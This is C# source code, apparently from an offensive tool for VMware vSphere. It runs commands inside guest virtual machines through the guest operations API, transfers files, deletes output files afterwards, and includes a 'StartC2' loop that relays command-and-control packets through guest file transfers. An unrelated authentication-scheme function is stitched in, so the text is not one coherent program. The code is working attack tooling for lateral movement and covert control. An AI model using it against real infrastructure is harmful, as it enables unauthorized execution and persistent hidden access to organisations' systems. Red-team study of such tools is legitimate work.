static void UploadFile(GuestAuthentication creds, string source, string destination) { try { byte[] data = System.IO.File.ReadAllBytes(source); var fileTransferUrl = vim.InitiateFileTransferToGuest(guestFileManager, vm, creds, destination, new GuestFileAttributes(), data.Length, true); using (var client = new System.Net.WebClient()) { client.CachePolicy = new HttpRequestCachePolicy(HttpRequestCacheLevel.NoCacheNoStore); Log("[x] Starting upload of " + source + " to " + destination + "..."); client.UploadFile(fileTransferUrl, "PUT", source); Log("[x] Uploaded " + source + " to " + destination + " on the guest"); } } catch (Exception fault) { Error(fault); } }
static int Execute(ExecuteOptions options) { try { //Connect to target VM Connect(options.url, options.username, options.password, options.ip); //Build credential object to authenticate to guest OS if (options.guestusername == null && options.guestpassword == null) { Log("[x] Authenticating to guest using pass through authentication (SSPI)"); string host = GetProperty <GuestInfo>(vm, "guest").hostName; string domain = Environment.UserDomainName; string principal = "host/" + host + "@" + domain; creds = GuestAuth(GetSspiToken(principal)); } else { Log("[x] Authenticating to guest using provided username and password"); creds = new NamePasswordAuthentication() { username = options.guestusername, password = options.guestpassword, interactiveSession = false, }; } if (options.linux) { ExecuteCommand(creds, "-c " + options.command, @"/bin/sh", options.outputDir == null ? "/tmp" : options.outputDir, options.output, options.linux); } else { ExecuteCommand(creds, "/c " + options.command, @"C:\Windows\System32\cmd.exe", options.outputDir == null ? @"C:\Windows\Temp" : options.outputDir, options.output, options.linux); } } catch (Exception fault) { Error(fault); } return(0); }
static GuestAuthentication GuestAuth() { GuestAuthentication guestAuth = new GuestAuthentication() { interactiveSession = false, }; ManagedObjectReference guestAuthManager = GetProperty <ManagedObjectReference>(serviceContent.guestOperationsManager, "authManager"); try { vim.AcquireCredentialsInGuest(guestAuthManager, vm, guestAuth, 0); } catch (Exception e) { Console.WriteLine(e.Message); } return(null); }
static int Download(DownloadOptions options) { try { //Connect to target VM Connect(options.url, options.username, options.password, options.ip); //Build credential object to authenticate to guest OS creds = new NamePasswordAuthentication() { username = options.guestusername, password = options.guestpassword, interactiveSession = false, }; DownloadFile(creds, options.source, options.destination); } catch (Exception fault) { Error(fault); } return(0); }
private Authentication GetAuthenticationScheme() { Authentication result = null; if (IsGuest(Identifier)) { result = new GuestAuthentication(); } if (Password != null) { result = new PlainAuthentication() { Password = Password }; } if (AccessKey != null) { result = new KeyAuthentication { Key = AccessKey }; } if (Token != null && Issuer != null) { result = new ExternalAuthentication { Token = Token, Issuer = Issuer }; } if (result == null) { throw new InvalidOperationException( $"A password or accessKey should be defined. Please use the '{nameof(UsingPassword)}' or '{nameof(UsingAccessKey)}' methods for that."); } return(result); }
//WIP for SSO auth /*private static byte[] GetSSPIToken(string packageName) * { * ClientCurrentCredential clientCred = null; * ClientContext client = null; * * ServerCurrentCredential serverCred = null; * ServerContext server = null; * * byte[] clientToken; * byte[] serverToken; * * SecurityStatus clientStatus; * * try * { * clientCred = new ClientCurrentCredential(packageName); * serverCred = new ServerCurrentCredential(packageName); * * Console.Out.WriteLine(clientCred.PrincipleName); * * client = new ClientContext( * clientCred, * serverCred.PrincipleName, ContextAttrib.Zero * ); * * server = new ServerContext( * serverCred, ContextAttrib.Zero * ); * * clientToken = null; * serverToken = null; * * clientStatus = client.Init(serverToken, out clientToken); * * * } * finally * { * if (server != null) * { * server.Dispose(); * } * * if (client != null) * { * client.Dispose(); * } * * if (clientCred != null) * { * clientCred.Dispose(); * } * * if (serverCred != null) * { * serverCred.Dispose(); * } * } * return clientToken; * }*/ static void ExecuteCommand(GuestAuthentication creds, string arguments, string programPath, string workingDirectory, bool output) { try { ManagedObjectReference processManager = GetProperty <ManagedObjectReference>(serviceContent.guestOperationsManager, "processManager"); var guestProgramSpec = new GuestProgramSpec() { arguments = arguments, programPath = programPath, workingDirectory = workingDirectory, }; if (output) { //Set file to receive output var outfile = Path.GetRandomFileName(); guestProgramSpec.arguments += @" > C:\Users\Public\" + outfile + @" 2>&1"; //Start the program and receive the PID back Log("[x] Attempting to run cmd with the following arguments: " + guestProgramSpec.arguments); Log(@"[x] Temporarily saving out to C:\Users\Public\" + outfile); long pid = vim.StartProgramInGuest(processManager, vm, creds, guestProgramSpec); //Display PID Log("[x] Process started with PID " + pid + " waiting for execution to finish"); bool finished = false; while (!finished) { //Get status of our process long[] pids = { pid }; GuestProcessInfo[] guestProcessInfo = vim.ListProcessesInGuest(processManager, vm, creds, pids); if (guestProcessInfo.Length == 0) { Log("Error retrieving status of the process, check for the existance of the output file manually"); } if (guestProcessInfo[0].exitCodeSpecified) { Log("[x] Execution finished, attempting to retrieve the results"); //Get the results var fileTransferInformation = vim.InitiateFileTransferFromGuest(guestFileManager, vm, creds, @"C:\Users\Public\" + outfile); using (var client = new System.Net.WebClient()) { client.CachePolicy = new HttpRequestCachePolicy(HttpRequestCacheLevel.NoCacheNoStore); var results = client.DownloadString(fileTransferInformation.url); Log("[x] Output: "); Log(results); } //Delete the file vim.DeleteFileInGuest(guestFileManager, vm, creds, @"C:\Users\Public\" + outfile); Log("[x] Output file deleted"); finished = true; } } } else { //Start the program and receive the PID back Log("[x] Attempting to execute with cmd /c the following command: " + guestProgramSpec.arguments); long pid = vim.StartProgramInGuest(processManager, vm, creds, guestProgramSpec); //Display PID Log("[x] Process started with PID" + pid); } } catch (Exception fault) { Error(fault); } }
static int StartC2(C2Options options) { try { //Connect to target VM Connect(options.url, options.username, options.password, options.ip); //Build credential object to authenticate to guest OS creds = new NamePasswordAuthentication() { username = options.guestusername, password = options.guestpassword, interactiveSession = false, }; if (!Directory.Exists(options.localdir)) { Error(new Exception("Cannot read local dir " + options.localdir)); } //Make sure paths have a trailing slash if (!options.localdir.EndsWith("\\")) { options.localdir += "\\"; } if (!options.guestdir.EndsWith("\\")) { options.guestdir += "\\"; } while (true) { string[] sourceFilePaths = Directory.GetFiles(options.localdir); if (!Array.Exists(sourceFilePaths, element => element.Contains("lock")) && Array.Exists(sourceFilePaths, element => element.Contains(options.outputid))) { foreach (string sourceFilePath in sourceFilePaths) { var fileName = Path.GetFileName(sourceFilePath); byte[] data = System.IO.File.ReadAllBytes(sourceFilePath); var newFilePath = options.guestdir + fileName; var fileTransferUrl = vim.InitiateFileTransferToGuest(guestFileManager, vm, creds, newFilePath + ".lock", new GuestFileAttributes(), data.Length, true); using (var client = new System.Net.WebClient()) { client.UploadData(fileTransferUrl, "PUT", data); Log("[x] Uploaded a packet to guest"); } vim.MoveFileInGuest(guestFileManager, vm, creds, newFilePath + ".lock", newFilePath, true); File.Delete(sourceFilePath); } } GuestListFileInfo guestFilesRaw = vim.ListFilesInGuest(guestFileManager, vm, creds, options.guestdir, 0, 999, options.inputid + "*"); if (guestFilesRaw.files != null) { bool lockFilePresent = false; foreach (GuestFileInfo guestFile in guestFilesRaw.files) { if (guestFile.path.Contains("lock")) { lockFilePresent = true; break; } } if (!lockFilePresent) { foreach (GuestFileInfo guestFile in guestFilesRaw.files) { if (guestFile.type == "file" && !guestFile.path.Contains("lock")) { var fileTransferInformation = vim.InitiateFileTransferFromGuest(guestFileManager, vm, creds, options.guestdir + guestFile.path); string newFilePath = options.localdir + guestFile.path; using (var client = new System.Net.WebClient()) { Log("[x] Downloading a packet from guest"); client.DownloadFile(fileTransferInformation.url, newFilePath + @".lock"); } File.Move(newFilePath + @".lock", newFilePath); vim.DeleteFileInGuest(guestFileManager, vm, creds, options.guestdir + guestFile.path); } } } } } } catch (Exception fault) { Error(fault); } return(0); }